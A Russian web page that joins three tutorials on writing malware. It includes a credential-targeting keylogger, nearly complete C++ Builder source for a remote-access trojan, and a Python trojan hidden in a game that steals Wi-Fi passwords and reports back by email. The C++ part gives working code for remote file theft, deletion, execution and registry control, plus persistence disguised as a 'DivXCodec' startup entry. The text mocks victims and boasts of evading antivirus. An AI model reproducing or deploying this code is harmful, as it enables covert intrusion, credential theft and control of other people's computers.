Как создать троянского коня

Опубликовано: 01.05.2024

image

Хакерский мир можно условно разделить на три группы атакующих:

1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.

2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.

3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

Для C# это выглядит так:

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Сегодня мы будем учиться писать троянчик. Небольшой, но СВОЙ! Почему? Конечно-конечно, троянов в сети навалом, но рано или поздно они =вдруг= начинают определяться антивирусами, приходиться ждать апдейта етц. Ожидание - самый скучный повод. Не знаю как вы, но я ждать не люблю, да и использовать чужие трояны это совсем не по-><аЦкERR'ски. Короче, пишем свой троян и точка.

После точки, как учили в школе, пишем с большой буквы. Так вот, о чем я? Писать я буду, как обычно, на своем любимом Builder C++. Если у вас руки растут не оттуда, откуда у меня ноги, то без проблем все переделаете под Дельфи, если припрет конечно.

Естественно, наш троян будет состоять из 2х частей =) Серверной (отправляемой как подарок ламерюге) и клиентской (оставим себе на память). Надо сказать, что я давно не юзал никакие трояны, так что не знаю что там сейчас они умеют делать, может уже и коврик под мышкой научились двигать или корпус компа открывать. Мы же пишем "троянчик", поэтому делать он будет только следующее:
1) читать, удалять, запускать файлы на удаленном компьютере
2) работать с реестром на удаленном компьютере
3) ну и традиционный набор разных бесполезных функций, типа открытие CD-ROM'a, смена клавишей мышки etc.

Перекурили и поехали!
Использовать будем стандартные компоненты TClientSocket и TServerSocket.

Начнем с клиента. Набрасываем простенький интерфейс и приступаем к реализации. Управлять удаленным компьютером будем с помощью специальных команд. Для примера пускай структура их будет такая:
Nпараметры. N - цифра. Каждому действию присвоен свой код. Т.е. например 1 - перезагрузка, 2 - чтение файла и т.д. Главное чтоб было однозначное соответствие между тем что хотим сделать (команда передаваемая клиентом) и тем что выполняет программа (обработка команды на сервере). С этим разобрались. Теперь параметры. Бывает мало передать только номер команды. Конечно, чтобы перезагрузить компьютер никаких параметров не надо (хотя можно и здесь передать параметры в функцию перезагрузки), но как например реализовать удаление файла не передавая параметра? Мы передаем команду на удаление файла, но какого?! Для этого будем использовать параметры. В качестве параметра в данном случае будет передаваться имя файла. Бывает, что мало передать один параметр. Например надо прочитать n-строчек из file.txt. Здесь необходимо передать 2 параметра. В нашем примере параметры отделяются друг от друга комбинацией "\r\n" - перевод каретки. Объясняется данная структура тем, что в сервере мы сначала помещаем полученную команду в TStringList и потом можем спокойно обращаться к любой строчке этого TStringList'а через свойство Strings , где i-номер строчки, а соответственно и номер параметра. В общем, это вещи достаточно очевидные.

void __fastcall TForm1::TrojControllerRead(TObject *Sender,
TCustomWinSocket *Socket)
<
Memo2->Lines->Add(Socket->ReceiveText());
>

Вот и все. Клиент законен! Переходим к серверу.

Сервер будет чуть пообъемнее. Вначале определимся с задачами:
1) получение команд
2) их обработка и выполнение соответствующих действий
3) отсылка ответа клиенту (должны же мы знать что происходит на сервере)
Реализуем.

Во-первых, никакого визуального оформления естественно не будет =) Поэтому на форму поместим только 1 компонент: TServerSocket. Инициализацию его проведем в функции FormCreate(). Хотя можно было бы просто прописать 2 параметра в Object Inspector'е. Но раз уж сделали, так сделали =)

void __fastcall TForm1::FormCreate(TObject *Sender)
<
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
>

Итак, указали порт, активизировали сокет. Теперь обрабатываем событие ClientRead, т.е. получение данных сокетом. Комментирую на примере:

void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
<
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
>
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
<
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) < // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
// информируем клиента об этом
>
>

Теперь немного подробнее. Мы пишем специальный класс TTrojanUtilites, в котором реализуем все необходимые функции. В RecognizeCommand (String Directive) мы только отделяем команду от параметров и запускаем необходимые методы TTrojanUtilites, передавая по необходимости в них параметры.

Реализация TTrojanUtilites есть то, чем мы сейчас займемся. Класс оформим в отдельном модуле, не забудьте подключить его.

Поехали. Во-первых, подключаем #include - необходимо для реализации работы с CD-ROM'ом. Далее пишем все необходимые методы.

Краткие комментарии на примере:

void TTrojanUtilites::OpenCloseCD()
<
TMCI_Open_Parms OpenParm;
TMCI_Generic_Parms GenParm;
TMCI_Set_Parms SetParm;
Cardinal DI;
OpenParm.dwCallback = 0;
OpenParm.lpstrDeviceType = "CDAudio";
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));
DI = OpenParm.wDeviceID;
if (!CDROMOPEN)
<
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));
CDROMOPEN = true; // открыть
>
else
<
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));
CDROMOPEN = false; // закрыть
>
mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));
Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM");
>

void TTrojanUtilites::RestartMachine()
<
if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));
Sock->Socket->Connections[0]->SendText("Перезагрузка успешно выполнена.");
>

Вот тут я не отвечаю за все ОСи, перезагрузка-то будет, но хотелось бы сделать ее как после нажатия кнопки RESET, а так будет послано сообщение WM_. ENDSESSION etc. Короче, пробуйте сами. Могу только подкинуть основные направления поиска: смотри функции ExitWindows(), ExitWindowsEx(), InitiateSystemShutdown() и AbortSystemShutdown(). Для особо продвинутых могу предложить вариант написать надежный ребут под определенную ось и чипсет =) Например, мой прошлый комп стабильно резетился (только в Win9x, в NT не работало) следующей вставочкой:

mov dx,0cf9h
mov al,2
out dx,al
mov al,6
out dx,al

Откуда цифры? Читайте доки по чипсету =) Одним словом, универсального метода перезагрузить комп без WM_. ENDSESSION я не знаю. Если вы знаете - напишите пару строк, не в падлу =)

C++
void TTrojanUtilites::SendFile(String F)
<
TStringList* TTSL=new (TStringList);
TStringList* TTSL2=new (TStringList);
int n, i;
TTSL->Text = F;
if (!FileExists(TTSL->Strings[0]))
<
Sock->Socket->Connections[0]->SendText("Файл не существует.");
return;
>
TTSL2->LoadFromFile(TTSL->Strings[0]); // загружаем файл в TStringList
n = TTSL2->Count; // получаем число строк в файле
if (n > StrToInt(TTSL->Strings[1])) // если надо прочитать не весь файл
n = StrToInt(TTSL->Strings[1]); // считываем только необходимое число строк
for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings[i]); // передаем строки клиенту
>

Вроде тут и объяснять нечего.

void TTrojanUtilites::ReadRegistry(ShortString k)
<
TRegistry* reg=new TRegistry;
String res, ts;
TStringList* TTSL=new TStringList;
HKEY k1;
// параметры передаются в следующем порядке:
//// 0 - root key
//// 1 - key name
//// 2 - value name
//// 3 - value
//// 4 - type of value
TTSL->Text = k;
ts = TTSL->Strings[0]; // выбираем RootKey
if (ts == "HKEY_CLASSES_ROOT") k1 = HKEY_CLASSES_ROOT;
if (ts == "HKEY_CURRENT_USER") k1 = HKEY_CURRENT_USER;
if (ts == "HKEY_LOCAL_MACHINE") k1 = HKEY_LOCAL_MACHINE;
if (ts == "HKEY_USERS") k1 = HKEY_USERS;
if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;
reg->RootKey = k1;
reg->OpenKey(TTSL->Strings[1], true); // открываем раздел
ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа
if (ts == "Bool") // двоичный (REG_BINARY)
if (reg->ReadBool(TTSL->Strings[2]))
res = "true";
else res = "false";
if (ts == "Integer") // числовой (REG_DWORD)
res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));
if (ts == "String") // строковый (REG_SZ)
res = reg->ReadString(TTSL->Strings[2]);
Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res);
// передаем клиенту значение параметра
>

Запись в реестр аналогична, только используется метод WriteBool(TTSL->Strings[2], false); для записи булевского значения, WriteInteger(TTSL->Strings[2], StrToInt(TTSL->Strings[4])); - для числового, WriteString(TTSL->Strings[2], TTSL->Strings[4]); - для строкового.

Для запуска файлов на удаленном компьютере используем следующую функцию:

void TTrojanUtilites::ExecuteFile(String f)
<
ShellExecute(GetDesktopWindow, "open", f.c_str(), "", "", SW_SHOWNORMAL);
Sock->Socket->Connections[0]->SendText("Запущен файл "+f);
>

Файл запускается в той программе, с которой ассоциирован запуск данного типа файлов, т.е. вы можете запускать не толкьо exe, com, bat, но и любые другие файлы. Html-файл откроется в Explorer'e, Opere, Netscape или еще в чем-то. Хрен знает чем там ламерюга пользуется. Можете запустить ему мп3-шку Децла послушать или Бритни какой-нить, пусть проблюется =)

Идем дальше. Парочка бесполезных функций:

void TTrojanUtilites::HideMouse()
<
ShowCursor(false);
Sock->Socket->Connections[0]->SendText("Курсор мыши скрыт");
>

void TTrojanUtilites::SwapMouseButtons()
<
SwapMouseButton(true);
Sock->Socket->Connections[0]->SendText("Кнопки мыши переключены");

Можно сделать переключение кнопок обратно (передайте в SwapMouseButton параметр false), но я бы посоветовал поставить таймер и каждую секунду переключать кнопки туда-сюда, веселее будет =) В падлу сейчас уже добавлять, но вкратце это будет так: добавляем TTimer на форму, устанавливаем необходимый интервал, и в обработчике события OnTimer прописываем вызов функции SwapMouseButton с параметром, противоположным прошлому вызову. Млин, все-таки все расписал =)

Теперь довольно важная функция:

void TTrojanUtilites::DeleteFile(String f)
<
if (!FileExists(f))
<
Sock->Socket->Connections[0]->SendText("Файл не существует.");
return;
>
TRegistry* Reg=new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey(" \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ RunOnce", true);
Reg->WriteString("Filez for delete","command.com /c del "+f);
Reg->CloseKey();
Sock->Socket->Connections[0]->SendText("Файл "+f+" будет удален после перезагрузки.");
>

Данная функция НЕ удаляет файл сразу. Это сделано специально, так как файлы могут использоваться системой и их удаление возможно только после перезагрузки, данная функция помечает файл к удалению, а удалиться он только после перезагрузки, которую вы легко можете вызвать. Да, еще маленькое примечание: данная функция удаляет только 1 файл, если вы пометите второй файл к удалению - то будет удален только он. А первый останется нетронутым. Немного измените функцию - и можно будет удалять файлы пачками =) Могу еще добавить немного инфы на случай, если надо будет удалить целый каталог и вы точно знаете что в нем нет открытых файлов. Используйте стандартную API функцию SHFileOperation, установив тип операции wFunc в FO_DELETE. Пример:

int res;
SHFILEOPSTRUCT fo;
ZeroMemory(&fo, sizeof(fo));
fo.hwnd = hwndOwner; // хэндл окна-владельца прогресс-диалога
fo.pFrom = pszFullPath; //путь
fo.wFunc = FO_DELETE;
fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление
res = SHFileOperation(&fo);

Только внимательно все проверьте! Будет обломно если ламерюга "вдруг" увидит надпись "Папка голые тетки не может быть удалена, так как юзер активно смотрит сразу 10 порно-фильмов из нее!". А вообще, если опять удалиться в теорию, то наш главный объект Application имеет несколько полезных событий, наиболее интересное для нас OnException происходит тогда, когда в приложении возникает необработанная исключительная ситуация (деление на ноль, удаление несуществующего файла etc). По умолчанию, обработчик этого события вызывает метод ShowException для отображения окна сообщения с пояснением причины ошибки (оно нам надо?! конечно, НЕТ!). Но, вы можете изменить реакцию на событие onException, переписав его обработчик. Тут ничего трудного нет, просто я не ставил перед собой задачу написать офигенный троян, только подтолкнуть вас к этому =) Кто захочет - допишет все необходимое сам, если что - я подскажу =) Ну вот, вроде бы все функции реализовали. Теперь немного о том, что мы не сделали =) Мы не сделали: загрузку/закачку файла. Это все можно сделать подправив SendFile(). Стандартных функций для пересылки файлов через TClient(Server)Socket я не нашел, но впрочем, это не проблема - просто передавайте файлы фрагментами.

Теперь нам осталось только разобраться с автозагрузкой трояна. Сделаем следующее:
1) при запуске файл переписывается в папку, в которой установлены винды.
2) прописываем запуск нашего файла в реестре.

void __fastcall TForm1::FormCreate(TObject *Sender)
<
ServSckt->Port = 4321;
ServSckt->Active = true;
Utilz.Sock=ServSckt;
Utilz.CDROMOPEN=false;

String WinDir;
char WinDir1[144];
GetWindowsDirectory(WinDir1,144);
WinDir=WinDir1; // папка с установленными виндами

String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey(" \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) //если нашу программу стерли из
// автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)
pReg->WriteString("DivXCodec",WinDir+" \\ task16man.exe"); //добавляем ее по новой

if (Application->ExeName!=WinDir+" \\ task16man.exe") //если файл запустили 1ый раз
<
if (!FileExists(WinDir+" \\ task16man.exe"))
<
String dest=WinDir+" \\ task16man.exe";
BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());
// переписываем файл к виндам
ServSckt->Active = false;
ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его
Application->Terminate(); // это приложение закрываем
>
else
Application->Terminate();
// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз
// запустили и им подобных, додумайте сами =)
>
else
<
ServSckt->Port = 4321;
ServSckt->Active = true;

String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey(" \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) // не дай бог стерли!
pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад
>
>

В принципе, это все. Троян готов! Конечно, он тяжеловат, малофункционален etc, НО все это можно исправить, творите =). Удачи!

Написать троян на Python

В этой статье я рас­ска­жу, как написать простой троян на Python с уда­лен­ным дос­тупом, а для боль­шей скрыт­ности мы встро­им его в игру. Даже если вы не зна­ете Python, то смо­жете луч­ше понять, как устро­ены такие вре­доно­сы, и поуп­ражнять­ся в прог­рамми­рова­нии.

Ко­неч­но, при­веден­ные в статье скрип­ты совсем не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют вовсе. Тем не менее при желании их воз­можно исполь­зовать для нес­ложных пакос­тей или приколов.

Как написать троян на Python

Итак, что есть тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го.

Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.

Определение IP-адреса

Для начала нам (то есть нашему тро­яну) нуж­но понять, где он ока­зал­ся. Важ­ная часть вашей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у вас отсутс­тву­ют, их нуж­но уста­новить коман­дой pip .

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­тите вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, WiFi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все несколько слож­нее.

Я выб­рал сайт api. ipify. org , так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

Ни­ког­да не встре­чал конс­трук­ции типа print( f'<> ') ? Бук­ва f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. А по простому — прог­рам­мные встав­ки пря­мо в стро­ку.

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

Бэкконнект по почте

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через pip install ):

Пи­шем базовую информа­цию о себе:

Даль­ше сфор­миру­ем пись­мо:

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

В стро­ке server. ehlo( email) мы исполь­зуем коман­ду EHLO . Боль­шинс­тво сер­веров SMTP под­держи­вают ESMTP и EHLO . Если сер­вер, к которо­му вы пыта­етесь под­клю­чить­ся, не под­держи­вает EHLO , мож­но исполь­зовать HELO .

Пол­ный код этой час­ти тро­яна:

После запуска скрипта, получа­ем пись­мо.

Пись­мо с IP жертвы

Пись­мо с IP

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.

Написание трояна на Python

Создание трояна на Python

По задум­ке, тро­ян пред­став­ляет собой кли­ент‑сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

Для начала напишем игру «Уга­дай чис­ло». Тут все край­не прос­то, поэто­му задер­живать­ся дол­го не буду.

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

Сна­чала нуж­но разоб­рать­ся, что такое сокет и с чем его едят. Сокет прос­тым язы­ком — это условная вил­ка или розет­ка для прог­рамм. Сущес­тву­ют кли­ент­ские и сер­верные сокеты: сер­верный прос­лушива­ет опре­делен­ный порт (розет­ка), а кли­ент­ский под­клю­чает­ся к сер­веру (вил­ка). Пос­ле того как уста­нов­лено соеди­нение, начина­ется обмен дан­ными.

Итак, стро­ка client = socket. socket( socket. AF_INET, socket. SOCK_STREAM) соз­дает эхо‑сер­вер (отпра­вили зап­рос — получи­ли ответ). AF_INET озна­чает работу с IPv4-адре­саци­ей, а SOCK_STREAM ука­зыва­ет на то, что мы исполь­зуем TCP-под­клю­чение вмес­то UDP, где пакет посыла­ется в сеть и далее не отсле­жива­ется.

Стро­ка client. connect(( HOST, PORT) ) ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.

Фун­кция client. recv( 1024) при­нима­ет дан­ные из сокета и явля­ется так называ­емым «бло­киру­ющим вызовом». Смысл такого вызова в том, что, пока коман­да не передас­тся или не будет отвер­гну­та дру­гой сто­роной, вызов будет про­дол­жать выпол­нять­ся. 1024 — это количес­тво задей­ство­ван­ных бай­тов под буфер при­ема. Нель­зя будет при­нять боль­ше 1024 байт (1 Кбайт) за один раз, но нам это и не нуж­но: час­то вы руками вво­дите в кон­соль боль­ше 1000 сим­волов? Пытать­ся мно­гок­ратно уве­личить раз­мер буфера не нуж­но — это зат­ратно и бес­полез­но, так как нужен боль­шой буфер при­мер­но раз в никог­да.

Ко­ман­да decode( 'cp866') декоди­рует получен­ный бай­товый буфер в тек­сто­вую стро­ку сог­ласно задан­ной кодиров­ке (у нас 866). Но почему имен­но cp866 ? Зай­дем в коман­дную стро­ку и вве­дем коман­ду chcp .

Те­кущая кодовая стра­ница

Те­кущая кодовая стра­ница

Ко­диров­ка по умол­чанию для рус­ско­гово­рящих устрой­ств — 866, где кирил­лица добав­лена в латини­цу. В англо­языч­ных вер­сиях сис­темы исполь­зует­ся обыч­ный Unicode, то есть utf-8 в Python. Мы же говорим на рус­ском язы­ке, так что под­держи­вать его нам прос­то необ­ходимо.

При при­еме коман­ды нуж­но опре­делить, не слу­жеб­ная ли она. Если так, выпол­няем опре­делен­ные дей­ствия, ина­че, если вклю­чен тер­минал, перенап­равля­ем коман­ду туда. Недос­таток — резуль­тат выпол­нения так и оста­ется необ­работан­ным, а его хорошо бы отправ­лять нам. Это будет вам домаш­ним задани­ем: реали­зовать эту фун­кцию мож­но от силы минут за пят­надцать, даже если гуг­лить каж­дый шаг.

Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.

Как написать троян на Python

Ба­зовый тро­ян написан, и сей­час мож­но сде­лать очень мно­гое на машине ата­куемо­го, ведь у нас дос­туп к коман­дной стро­ке. Но почему бы нам не рас­ширить набор фун­кций? Давайте еще пароли от WiFi ста­щим!

Создание WiFi-стилера на Python

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

Прис­тупа­ем. Импорт биб­лиотек:

Мо­дуль subprocess нужен для соз­дания новых про­цес­сов и соеди­нения с потока­ми стан­дар­тно­го вво­да‑вывода, а еще для получе­ния кодов воз­вра­та от этих про­цес­сов.

Итак, скрипт для извле­чения паролей WiFi:

Вве­дя коман­ду netsh wlan show profiles в коман­дной стро­ке, мы получим сле­дующее.

netsh wlan show profiles
netsh wlan show profiles

Ес­ли рас­парсить вывод выше и под­ста­вить имя сети в коман­ду netsh wlan show profile [ имя сети] key=clear , резуль­тат будет как на кар­тинке. Его мож­но разоб­рать и вытащить пароль от сети.

netsh wlan show profile ASUS key=clear
netsh wlan show profile ASUS key=clear Вердикт VirusTotal
Вер­дикт VirusTotal

Ос­талась одна проб­лема: наша изна­чаль­ная задум­ка была заб­рать пароли себе, а не показы­вать их поль­зовате­лю. Испра­вим же это.

До­пишем еще один вари­ант коман­ды в скрипт, где обра­баты­ваем наши коман­ды из сети.

Все коман­ды это­го скрип­та уже под­робно разоб­раны, так что я не буду пов­торять­ся, а прос­то покажу скрин­шот из сво­ей поч­ты.

Результат
Ре­зуль­тат

Доработки

Ко­неч­но, тут мож­но дорабо­тать при­мер­но все — от защиты канала переда­чи до защиты самого кода нашего вре­доно­са. Методы свя­зи с управля­ющи­ми сер­верами зло­умыш­ленни­ка тоже обыч­но исполь­зуют­ся дру­гие, а работа вре­доно­са не зависит от язы­ка опе­раци­онной сис­темы.

